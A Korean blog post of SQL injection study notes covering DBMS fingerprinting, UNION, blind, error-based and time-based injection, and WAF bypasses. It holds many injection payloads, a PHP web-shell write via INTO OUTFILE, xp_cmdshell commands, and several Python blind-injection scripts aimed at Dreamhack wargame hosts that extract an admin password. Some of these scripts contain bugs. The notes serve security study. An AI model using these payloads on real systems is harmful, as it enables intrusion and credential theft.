ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • SQL Injection
    web hacking/all_the_thing 2022. 4. 26. 02:30

    DBMS

    웹서비스는 DB에 정보를 저장하고, 이를 관리하기 위해 DBMS를 사용한다.

    종류 대표적인 DBMS
    Relational (관계형) MySQL, MariaDB, PostgreSQL, SQLite
    Non-Relational (비관계형) MongoDB, CouchDB, Redis

    RDMS는 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리한다.

    DBMS Misconfiguration

    계정 및 권한이 적절하게 분리되지 않았거나 부릴요한 기능의 활성화, 그리고 DB의 보안 설정이 미흡한 경우

    주의사항

    - 서버에서 DBMS를 작동할 때는 DBMS 전용 계정을 만들어 사용해야 한다. (루트 계정이나 www-data 등의 계정으로 X)

    - 대소문자를 구분하지 않는 DBMS도 있으니 이를 확인해보자

    MySQL

    파일 관련된 작업을 할 때에는 mysql 권한으로 수행되며, "my.cnf" 설정 파일의 secure_file_priv 값에 영향을 받는다.

    select @@secure_file_priv; # 권한 확인

    load_file 함수는 전달된 파일을 읽고 출력한다 (절대 경로 입력)

    select load_file('/var/lib/mysql-files/test');

    SELECT ... INTO 형식의 쿼리는 쿼리 결과를 변수나 파일에 쓸 수 있다.

    select '<?=`ls`?>' into outfile '/tmp/a.php';

    MSSQL

    xp_cmdshell 기능을 이용해 OS 명령어를 실행할 수 잇다. (SQL Server 2005 버전 이후부터는 거의 불가)

    SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell' # xp_cmdshell 활성화 여부
    EXEC xp_cmdshell "net user";
    EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';

    DBMS Fingerprinting

    SQL Injection 취약점을 발견하면 먼저 DBMS의 종류와 버전을 알아내야 한다.

    더보기
    • 쿼리 실행 결과 출력
    • 에러 메시지 출력
    • 참 또는 거짓 출력
    • 시간 지연 발생

    MySQL

    쿼리 실행 결과 출력

    select @@version;
    select version();
    /* 5.7.29-0ubuntu0.16.04.1 */

    에러 메시지 출력 : 아래의 예시에서 1222 에러코드는 MySQL 에서 명시한 코드이다.

    select 1 union select 1, 2;
    /* ERROR 1222 (21000): The used SELECT statements have a different number of columns */

    참 또는 거짓 출력

    # @@version => '5.7.29-0ubuntu0.16.04.', mid(@@version, 1, 1) => '5'
    select mid(@@version, 1, 1)='5'; /* 1 */

    시간 지연 발생

    select mid(@@version, 1, 1)='5' and sleep(2); /* 0 (sleep 실행) */

    PostgreSQL

    쿼리 실행 결과 출력

    select version();
    /* PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit */

    에러 메시지 출력

    select 1 union select 1, 2;
    /* ERROR:  each UNION query must have the same number of columns */

    참 또는 거짓 출력

    # version() => 'PostgreSQL ...', substr(version(), 1, 1) => 'P'
    select substr(version(), 1, 1)='P'; /* t */
    select substr(version(), 1, 1)='Q'; /* f */

    시간 지연 발생

    select substr(version(), 1, 1)='P' and pg_sleep(10); /* 시간지연 */

    MSSQL

    쿼리 실행 결과 출력

    select @@version;
    /*
    Microsoft SQL Server 2017 (RTM-CU13) (KB4466404) - 14.0.3048.4 (X64)
    	Nov 30 2018 12:57:58
    	Copyright (C) 2017 Microsoft Corporation
    	Developer Edition (64-bit) on Linux (Ubuntu 16.04.5 LTS)
    */

    에러 메시지 출력

    select 1 union select 1, 2;select 1 union select 1, 2;
    /*
    Msg 205, Level 16, State 1, Server e2cb36ec2593, Line 1
    All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.asdf
    */

    참 또는 거짓 출력

     # @@version => 'Microsoft SQL Server...', substring(@@version, 1, 1) => 'M'
     select 1 from test where substring(@@version, 1, 1)='M'; /* 1 */

    시간 지연 발생

    select 1 where substring(@@version, 1, 1)='M' and waitfor delay '0:0:5';

    SQLite

    쿼리 실행 결과 출력

    select sqlite_version();
    /* 3.11.0 */

    에러 메시지 출력

    select 1 union select 1, 2;
    /* Error: SELECTs to the left and right of UNION do not have the same number of result columns */

    참 또는 거짓 출력

    # sqlite_version() => '3.11.0', substr(sqlite_version(), 1, 1) => '3'
    select substr(sqlite_version(), 1, 1)='3'; /* 1 */
    select substr(sqlite_version(), 1, 1)='4'; /* 0 */

    시간 지연 발생

    select case when substr(sqlite_version(), 1, 1)='3' then LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000/2)))) else 1=1 end;

     

    System Table Fingerprinting

     

     

    SQL

    SQL : RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어이다. (웹이 DBMS와 상화작용할 때 사용)

    언어 설명
    DDL 데이터를 정의하기 위한 언어. 스키마, DB의 생성/수정/삭제 등을 수행한다
    DML 데이터를 조작하기 위한 언어. 실제 DB 내에 존재하는 데이터의 조회/저장/수정/삭제 등을 수행한다
    DCL DB의 접근 궎나 등을 설정하기 위한 언어.  GRANT (이용자 권한 부여), REVOKE(이용자 권한 박탈)

    DDL

    데이터베이스 생성

    CREATE DATABASE Gotroot;

    테이블 생성

    USE Gotroot;
    
    CREATE TABLE Member(
    	idx INT AUTO_INCREMENT,
    	name VARCHAR(10) NOT NULL.
    	age INT NOT NULL,
    	PRIMARY Key(idx)
    );

    DML

    테이블 데이터 생성

    INSERT INTO Member(name, age) Values('Amy', 26);
    INSERT 
        INTO boards (title, boardcontent)
        VALUES ('title 1', (select upw from users where uid='admin'));

    -> 서브쿼리를 통해 다른 테이블에 있는 데이터를 추가할 수도 있다.

    테이블 데이터 조회

    SELECT name, age FROM Member Where idx=1;
    ORDER BY 조회한 결과를 원하는 컬럼 기준으로 정렬
    LIMIT 조회환 결과에서 행의 갯수와 오프셋 지정
    like 해당 문자가 포함되어 있는지 찾는다 (%abc% "abc문자가 포함되어 있는지)
     / DESC 오름차순 / 내림차순

    테이블 데이터 변경

    UPDATE Member SET age=23 WHERE idx=1;

    테이블 데이터 삭제

    DELETE FROM members where name='amy';

     

    SQL Injection

    SQL Injection : 이용자가 SQL 구문에 임의 문자열을 삽입하는 행위 -> 인증을 우회하거나 DB의 정보를 유출할 수 있다.

     

    Form SQL Injection

    ' or 1=1--

    UNION SQL Injection

    과정

    ①   등을 넣어 서버 내부의 query문에 입력값이 영향을 주는 지 확인한다

    ② column 수 알아내기 (ex.  ' order by 4--  )

    ③ data type이 string인 column 찾기 (ex.  ' union select null, 'a', null--  )

    ④ 원하는 데이터 추출 (ex.  ' union select username, password from users whrer useanme='admin'--  )

    주의할점

    - Oracle DB는 table을 지정하지 않으면 select문을 쓸 수 없다.

    Blind SQL Injection

    Blind SQL Injection : 질의 결과를 이용자가 직접 확인하지 못한다면 참/거짓 반환 결과로 데이터를 획득하는 공격 기법

    더보기

    ascii : 전달된 문자를 아스키 형태로 반환하는 함수 (32~126 : 알파벳, 숫자, 특수문자)

    substr : 문자열에서 지정한 위치부터 길이까지의 값을 가져오는 함수

    첫번째 글자 구하기

    SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw='';
    SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw='';

    두번째 글자 구하기

    SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=114-- ' and upw='';
    SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw='';

    정규 표현식 사용

    정규표현식 regexp 구문을 사용하여 문자열을 찾을 수 있다.

    uid=admin" and upw regexp 'p.*' -- 
    uid=admin" and upw regexp 'pw.*' -- 
    ...
    uid=admin" and upw regexp 'pw1337' --

    GET method 공격 스크립트 예제

    #!/usr/bin/python3
    import requests
    import string
    url = 'http://example.com/login' # example URL
    params = {
        'uid': '',
        'upw': ''
    }
    tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
    query = '''
    admin' and ascii(substr(upw,{idx},1))={val}--
    '''
    password = ''
    for idx in range(0, 20):
        for ch in tc:
            params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\n")
            c = requests.get(url, params=params)
            print(c.request.url)
            if c.text.find("Login success") != -1:
                password += chr(ch)
                break
    print(f"Password is {password}")

    POST method 공격 스크립트 예제

    import requests
    
    url = "http://host1.dreamhack.games:17769/login"
    
    
    length=0
    while 1:
        password = '" or (select length(userpassword) where userid="admin")='+str(length)+'-- '
        data = {'userid': 'guest', 'userpassword': password}
        res = requests.post(url, data=data)
        if "wrong" in res.text:
            length+=1
        else:
            print("password length = "+str(length))
            break
    
    pw=""
    for i in range(1, length+1):
        for j in range(0x20, 0x7F):
            query = f'"or ((select substr(userpassword, {i}, 1) from users where userid="admin") = "{chr(j)}") --'
            data = {'userid': 'guest', 'userpassword': query}
            res = requests.post(url, data=data)
            if res.text.find('hello') != -1:
                pw+=chr(j)
                break
    
    print("password = "+pw)

    Binary Search 스크립트 예제

    #!/usr/bin/python3.7
    import requests
    import sys
    from urllib.parse import urljoin
    class Solver:
        """Solver for simple_SQLi challenge"""
        # initialization
        def __init__(self, port: str) -> None:
            self._chall_url = f"http://host3.dreamhack.games:{port}"
            self._login_url = urljoin(self._chall_url, "login")
        # base HTTP methods
        def _login(self, userid: str, userpassword: str) -> requests.Response:
            login_data = {
                "userid": userid,
                "userpassword": userpassword
            }
            resp = requests.post(self._login_url, data=login_data)
            return resp
        # base sqli methods
        def _sqli(self, query: str) -> requests.Response:
            resp = self._login(f"\" or {query}-- ", "hi")
            return resp
        def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
            while 1:
                mid = (low+high) // 2
                if low+1 >= high:
                    break
                query = query_tmpl.format(val=mid)
                if "hello" in self._sqli(query).text:
                    high = mid
                else:
                    low = mid
            return mid
        # attack methods
        def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
            query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
            pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
            return pw_len
        def _find_password(self, user: str, pw_len: int) -> str:
            pw = ''
            for idx in range(1, pw_len+1):
                query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
                pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
                print(f"{idx}. {pw}")
            return pw
        def solve(self) -> None:
            # Find the length of admin password
            pw_len = solver._find_password_length("admin")
            print(f"Length of the admin password is: {pw_len}")
            # Find the admin password
            print("Finding password:")
            pw = solver._find_password("admin", pw_len)
            print(f"Password of the admin is: {pw}")
    if __name__ == "__main__":
        port = sys.argv[1]
        solver = Solver(port)
        solver.solve()

    Bit 연산 스크립트 예제

    from requests import get
    
    url = "http://host1.dreamhack.games:14457/"
    password_length = 0
    while True:
        password_length += 1
        query = f"admin' and char_length(upw) = {password_length}-- -"
        r = get(f"{url}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"password length: {password_length}")
    
    for i in range(1, password_length + 1):
        bit_length = 0
        while True:
            bit_length += 1
            query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
            r = get(f"{host}/?uid={query}")
            if "exists" in r.text:
                break
        print(f"character {i}'s bit length: {bit_length}")
        
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
    
    password = ""
    for i in range(1, password_length + 1):
        ...
        password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

    Error based SQL Injection

    Error based SQL Injection : 임의로 에러를 발생시켜 데이터베이스 및 운영 체제의 정보를 획득하는 공격

    - DBMS에서 쿼리가 실행되기 전에 발생하는 에러가 아닌 런타임 에러가 필요하다!

    더보기

    extractvalue : 첫번째 인자로 전달된 XML 데이터에서 두번째 인자인 XPATH 식을 통해 데이터를 추출하는 함수

    -> 두번째 인자가 올바르지 않은 XPATH 식이라면 에러메시지와 함께 그 결과를 반환한다.

    SELECT extractvalue(1,concat(0x3a,(SELECT password FROM users WHERE username='admin')));
    /* ERROR 1105 (HY000): XPATH syntax error: ':Th1s_1s_admin_PASSW@rd' */

    MYSQL

    SELECT updatexml(null,concat(0x0a,version()),null);
    SELECT extractvalue(1,concat(0x3a,version()));
    /* ERROR 1105 (HY000): XPATH syntax error: '5.7.29-0ubuntu0.16.04.1-log' */
    SELECT COUNT(*), CONCAT((SELECT version()),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x;
    /* ERROR 1062 (23000): Duplicate entry '5.7.29-0ubuntu0.16.04.1-log:1' for key '<group_key>' */

    MSSQL

    SELECT convert(int,@@version);
    SELECT cast((SELECT @@version) as int);
    /*
    Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2014 - 12.0.2000.8 (Intel X86) 
    	Feb 20 2014 19:20:46 
    	Copyright (c) Microsoft Corporation
    	Express Edition on Windows NT 6.3 <X64> (Build 9600: ) (WOW64) (Hypervisor)
    ' to data type int.
    */

    Oracle

    SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual;
    /*
    ORA-20000: Oracle Text error:
    DRG-11701: thesaurus Oracle Database 18c Express Edition Release 18.0.0.0.0 - Production does not exist
    ORA-06512: at "CTXSYS.DRUE", line 183
    ORA-06512: at "CTXSYS.DRITHSX", line 555
    ORA-06512: at line 1
    */

    Error based Blind SQL Injection

    '+||+(SELECT+CASE+WHEN+(1=1)+THEN+TO_CHAR(1/0)+ELSE+''+END+FROM+users+WHERE+username='administrator')--+

    -> case when 뒤의 조건식이 참이라면 to_char(1/0)을 실행하여 에러가 나고, 거짓이라면 에러가 나지 않는다.

    Time based SQL Injection

    Time based SQL Injection : 시간 지연을 이용해 쿼리의 참/거짓 여부를 판단하는 공격 기법

    MySQL

    SELECT SLEEP(1);
    SELECT BENCHMARK(40000000,SHA1(1));
    SELECT (SELECT count(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) as heavy;

    MSSQL

    SELECT '' if((select 'abc')='abc') waitfor delay '0:0:1';
    select (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C, information_schema.columns D, information_schema.columns E, information_schema.columns F)

    SQLite

    SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1500000000/2))));

     

    Bypass WAF

    탐지 우회

    대소문자 검사 미흡

    UniOn SeLecT 1,2,3;

    탐지 과정 미흡

    "union" 이라는 문자열을 탐지하고 공백으로 치환할경우

    UNunionION SELselectECT 1,2 --

    문자열 검사 미흡

    reverse와 concat 함수를 이용해 문자열을 뒤집거나 이어붙이며 16진수를 사용해 임의의 문자열을 완성한다.

    SELECT reverse('nimda'), concat('adm','in'), x'61646d696e', 0x61646d696e;

    연산자 검사 미흡

    "and", "or"과 같은 연산자를 "&&", "||"로 우회할 수 있다. 이 외에도 ^, =, !=, %, /, *, &, &&, |, ||, >, <, XOR, DIV, LIKE, RLIKE, REGEXP, IS, IN, NOT, MATCH, AND, OR, BETWEEN, ISNULL 등의 연산자를 사용할 수 있다.

    공백 탐지

    이름, 생년월일과 같은 항목은 공백이 필요하지 않기때문에, 공백을 허용하지 않는 경우가 많다.

    SELECT/**/'abc'; # 주석을 이용한 우회
    select`username`,(password)from`users`WHERE`username`='admin'; # Back Quote를 이용한 우회

    아니면 URL Encoding(%09) 값 or 괄호 사용하기

    MySQL 우회 기법

    MySQL 진법 or 함수를 이용한 문자열 검사 우회

    select 0x6162, 0b110000101100010;
    select char(0x61, 0x62);
    select concat(char(0x61), char(0x62));
     /* ab */

    주석 구문 실행

    WAF은  /*___*/ 문자열을 주석으로 인식하고 쿼리 구문으로 해석하지 않는다.

    반면에 MySQL은  /*!___*/  은 쿼리의 일부로 실행한다

    select 1 /*!union*/ select 2;

    PostgreSQL 우회 기법

    PostgreSQL 함수를 이용한 문자열 검사 우회

    select chr(65); /* A  */
    select concat(chr(65), chr(66)); /* AB */

    MSSQL 우회 기법

    MSSQL 함수를 이용한 문자열 검사 우회

    select char(0x61); /* a */
    select concat(char(0x61), char(0x62)); /* ab */

    SQLite 우회 기법

    SQLite 함수를 이용한 문자열 검사 우회

    select char(0x61); /* a */
    select char(0x61)||char(0x62); /* ab */

    구문 검사 우회

    SELECT 구문을 사용하지 못하면 원하는 값을 반환하지 못한다. 이 때,UNION VALUES(num)을 이용하자.

    select 1 union values(2);

     

    그 외의 주목할 만한 점

    row(1,1) 함수를 이용하면 칼럼의 개수를 조절할 수 있다.

    참고 : https://www.notion.so/counting-query-0bad32d2efa94ce9b2eb346138b1fe16

    'web hacking > all_the_thing' 카테고리의 다른 글

    XSS  (0) 2022.06.22

    댓글

Designed by Tistory.